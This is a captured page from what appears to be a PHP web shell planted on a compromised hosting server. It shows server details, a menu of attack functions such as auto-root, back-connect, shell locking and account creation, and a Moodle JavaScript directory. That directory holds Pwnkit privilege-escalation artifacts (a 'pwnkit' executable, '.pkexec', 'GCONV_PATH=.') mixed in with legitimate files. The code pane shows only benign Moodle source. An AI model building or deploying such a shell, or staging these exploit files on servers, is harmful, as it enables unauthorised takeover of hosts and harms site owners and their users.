Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.70.127.73
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
lib /
amd /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
.pkexec
[ DIR ]
drwxr-xr-x
GCONV_PATH=.
[ DIR ]
drwxr-xr-x
emoji
[ DIR ]
drwxr-xr-x
local
[ DIR ]
drwxr-xr-x
.mad-root
0
B
-rw-r--r--
adapter.js
190.74
KB
-rw-r--r--
addblockmodal.js
2.52
KB
-rw-r--r--
ajax.js
11.97
KB
-rw-r--r--
aria.js
1011
B
-rw-r--r--
auto_rows.js
3.46
KB
-rw-r--r--
autoscroll.js
6.49
KB
-rw-r--r--
backoff_timer.js
4.98
KB
-rw-r--r--
chart_axis.js
7.39
KB
-rw-r--r--
chart_bar.js
3.08
KB
-rw-r--r--
chart_base.js
11.36
KB
-rw-r--r--
chart_builder.js
1.65
KB
-rw-r--r--
chart_line.js
2.08
KB
-rw-r--r--
chart_output.js
1.08
KB
-rw-r--r--
chart_output_base.js
2.03
KB
-rw-r--r--
chart_output_chartjs.js
10.83
KB
-rw-r--r--
chart_output_htmltable.js
3.3
KB
-rw-r--r--
chart_pie.js
3.03
KB
-rw-r--r--
chart_series.js
8.35
KB
-rw-r--r--
chartjs-lazy.js
670.93
KB
-rw-r--r--
chartjs.js
913
B
-rw-r--r--
checkbox-toggleall.js
12.78
KB
-rw-r--r--
config.js
1002
B
-rw-r--r--
custom_interaction_events.js
22.18
KB
-rw-r--r--
dragdrop.js
12.92
KB
-rw-r--r--
drawer.js
3.49
KB
-rw-r--r--
drawer_events.js
967
B
-rw-r--r--
event.js
3.97
KB
-rw-r--r--
first.js
1.36
KB
-rw-r--r--
form-autocomplete.js
50.77
KB
-rw-r--r--
form-cohort-selector.js
2.46
KB
-rw-r--r--
form-course-selector.js
3.77
KB
-rw-r--r--
fragment.js
4.64
KB
-rw-r--r--
fullscreen.js
1.62
KB
-rw-r--r--
icon_system.js
2.56
KB
-rw-r--r--
icon_system_fontawesome.js
4.01
KB
-rw-r--r--
icon_system_standard.js
2.3
KB
-rw-r--r--
inplace_editable.js
13.29
KB
-rw-r--r--
key_codes.js
1.34
KB
-rw-r--r--
loadingicon.js
3.87
KB
-rw-r--r--
localstorage.js
2.08
KB
-rw-r--r--
log.js
1.74
KB
-rw-r--r--
loglevel.js
9.66
KB
-rw-r--r--
modal.js
28.21
KB
-rw-r--r--
modal_backdrop.js
4.46
KB
-rw-r--r--
modal_cancel.js
1.44
KB
-rw-r--r--
modal_events.js
1.27
KB
-rw-r--r--
modal_factory.js
8.65
KB
-rw-r--r--
modal_registry.js
2.38
KB
-rw-r--r--
modal_save_cancel.js
2.16
KB
-rw-r--r--
mustache.js
26.69
KB
-rw-r--r--
network.js
8.02
KB
-rw-r--r--
normalise.js
1.6
KB
-rw-r--r--
notification.js
8.86
KB
-rw-r--r--
page_global.js
5.38
KB
-rw-r--r--
paged_content.js
2.87
KB
-rw-r--r--
paged_content_events.js
1.17
KB
-rw-r--r--
paged_content_factory.js
20.68
KB
-rw-r--r--
paged_content_pages.js
11.75
KB
-rw-r--r--
paged_content_paging_bar.js
20.34
KB
-rw-r--r--
paged_content_paging_bar_limit...
2.36
KB
-rw-r--r--
paged_content_paging_dropdown....
7.36
KB
-rw-r--r--
pending.js
1.57
KB
-rw-r--r--
permissionmanager.js
9.77
KB
-rw-r--r--
popover_region_controller.js
12.52
KB
-rw-r--r--
popper.js
79.2
KB
-rw-r--r--
prefetch.js
5.85
KB
-rw-r--r--
pubsub.js
2.17
KB
-rw-r--r--
pwnkit
10.99
KB
-rwxr-xr-x
sessionstorage.js
2.22
KB
-rw-r--r--
showhidesettings.js
11.82
KB
-rw-r--r--
sortable_list.js
29.51
KB
-rw-r--r--
storagewrapper.js
5.15
KB
-rw-r--r--
str.js
7.84
KB
-rw-r--r--
tag.js
19.77
KB
-rw-r--r--
templates.js
49.66
KB
-rw-r--r--
toast.js
3.05
KB
-rw-r--r--
tooltip.js
4.09
KB
-rw-r--r--
tree.js
18.12
KB
-rw-r--r--
truncate.js
6.56
KB
-rw-r--r--
url.js
3.65
KB
-rw-r--r--
user_date.js
9.32
KB
-rw-r--r--
userfeedback.js
2.91
KB
-rw-r--r--
utils.js
2.73
KB
-rw-r--r--
yui.js
1.13
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : notification.js
// This file is part of Moodle - http://moodle.org/ // // Moodle is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // // Moodle is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Moodle. If not, see <http://www.gnu.org/licenses/>. /** * Notification manager for in-page notifications in Moodle. * * @module core/notification * @copyright 2015 Damyon Wiese <damyon@moodle.com> * @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later * @since 2.9 */ import Pending from 'core/pending'; import Log from 'core/log'; let currentContextId = M.cfg.contextid; const notificationTypes = { success: 'core/notification_success', info: 'core/notification_info', warning: 'core/notification_warning', error: 'core/notification_error', }; const notificationRegionId = 'user-notifications'; const Selectors = { notificationRegion: `#${notificationRegionId}`, fallbackRegionParents: [ '#region-main', '[role="main"]', 'body', ], }; const setupTargetRegion = () => { let targetRegion = getNotificationRegion(); if (targetRegion) { return false; } const newRegion = document.createElement('span'); newRegion.id = notificationRegionId; return Selectors.fallbackRegionParents.some(selector => { const targetRegion = document.querySelector(selector); if (targetRegion) { targetRegion.prepend(newRegion); return true; } return false; }); }; /** * A notification object displayed to a user. * * @typedef {Object} Notification * @property {string} message The body of the notification * @property {string} type The type of notification to add (error, warning, info, success). * @property {Boolean} closebutton Whether to show the close button. * @property {Boolean} announce Whether to announce to screen readers. */ /** * Poll the server for any new notifications. * * @method * @returns {Promise} */ export const fetchNotifications = async() => { const Ajax = await import('core/ajax'); return Ajax.call([{ methodname: 'core_fetch_notifications', args: { contextid: currentContextId } }])[0] .then(addNotifications); }; /** * Add all of the supplied notifications. * * @method * @param {Notification[]} notifications The list of notificaitons * @returns {Promise} */ const addNotifications = notifications => { if (!notifications.length) { return Promise.resolve(); } const pendingPromise = new Pending('core/notification:addNotifications'); notifications.forEach(notification => renderNotification(notification.template, notification.variables)); return pendingPromise.resolve(); }; /** * Add a notification to the page. * * Note: This does not cause the notification to be added to the session. * * @method * @param {Notification} notification The notification to add. * @returns {Promise} */ export const addNotification = notification => { const pendingPromise = new Pending('core/notification:addNotifications'); let template = notificationTypes.error; notification = { closebutton: true, announce: true, type: 'error', ...notification, }; if (notification.template) { template = notification.template; delete notification.template; } else if (notification.type) { if (typeof notificationTypes[notification.type] !== 'undefined') { template = notificationTypes[notification.type]; } delete notification.type; } return renderNotification(template, notification) .then(pendingPromise.resolve); }; const renderNotification = async(template, variables) => { if (typeof variables.message === 'undefined' || !variables.message) { Log.debug('Notification received without content. Skipping.'); return; } const pendingPromise = new Pending('core/notification:renderNotification'); const Templates = await import('core/templates'); Templates.renderForPromise(template, variables) .then(({html, js = ''}) => { Templates.prependNodeContents(getNotificationRegion(), html, js); return; }) .then(pendingPromise.resolve) .catch(exception); }; const getNotificationRegion = () => document.querySelector(Selectors.notificationRegion); /** * Alert dialogue. * * @method * @param {String|Promise} title * @param {String|Promise} message * @param {String|Promise} cancelText * @returns {Promise} */ export const alert = async(title, message, cancelText) => { var pendingPromise = new Pending('core/notification:alert'); const ModalFactory = await import('core/modal_factory'); return ModalFactory.create({ type: ModalFactory.types.ALERT, body: message, title: title, buttons: { cancel: cancelText, }, removeOnClose: true, }) .then(function(modal) { modal.show(); pendingPromise.resolve(); return modal; }); }; /** * The confirm has now been replaced with a save and cancel dialogue. * * @method * @param {String|Promise} title * @param {String|Promise} question * @param {String|Promise} saveLabel * @param {String|Promise} noLabel * @param {String|Promise} saveCallback * @param {String|Promise} cancelCallback * @returns {Promise} */ export const confirm = (title, question, saveLabel, noLabel, saveCallback, cancelCallback) => saveCancel(title, question, saveLabel, saveCallback, cancelCallback); /** * The Save and Cancel dialogue helper. * * @method * @param {String|Promise} title * @param {String|Promise} question * @param {String|Promise} saveLabel * @param {String|Promise} saveCallback * @param {String|Promise} cancelCallback * @returns {Promise} */ export const saveCancel = async(title, question, saveLabel, saveCallback, cancelCallback) => { const pendingPromise = new Pending('core/notification:confirm'); const [ ModalFactory, ModalEvents, ] = await Promise.all([ import('core/modal_factory'), import('core/modal_events'), ]); return ModalFactory.create({ type: ModalFactory.types.SAVE_CANCEL, title: title, body: question, buttons: { // Note: The noLabel is no longer supported. save: saveLabel, }, removeOnClose: true, }) .then(function(modal) { modal.show(); modal.getRoot().on(ModalEvents.save, saveCallback); modal.getRoot().on(ModalEvents.cancel, cancelCallback); pendingPromise.resolve(); return modal; }); }; /** * Wrap M.core.exception. * * @method * @param {Error} ex */ export const exception = async ex => { const pendingPromise = new Pending('core/notification:displayException'); // Fudge some parameters. if (!ex.stack) { ex.stack = ''; } if (ex.debuginfo) { ex.stack += ex.debuginfo + '\n'; } if (!ex.backtrace && ex.stacktrace) { ex.backtrace = ex.stacktrace; } if (ex.backtrace) { ex.stack += ex.backtrace; const ln = ex.backtrace.match(/line ([^ ]*) of/); const fn = ex.backtrace.match(/ of ([^:]*): /); if (ln && ln[1]) { ex.lineNumber = ln[1]; } if (fn && fn[1]) { ex.fileName = fn[1]; if (ex.fileName.length > 30) { ex.fileName = '...' + ex.fileName.substr(ex.fileName.length - 27); } } } if (typeof ex.name === 'undefined' && ex.errorcode) { ex.name = ex.errorcode; } const Y = await import('core/yui'); Y.use('moodle-core-notification-exception', function() { var modal = new M.core.exception(ex); modal.show(); pendingPromise.resolve(); }); }; /** * Initialise the page for the suppled context, and displaying the supplied notifications. * * @method * @param {Number} contextId * @param {Notification[]} notificationList */ export const init = (contextId, notificationList) => { currentContextId = contextId; // Setup the message target region if it isn't setup already setupTargetRegion(); // Add provided notifications. addNotifications(notificationList); }; // To maintain backwards compatability we export default here. export default { init, fetchNotifications, addNotification, alert, confirm, saveCancel, exception, };
Close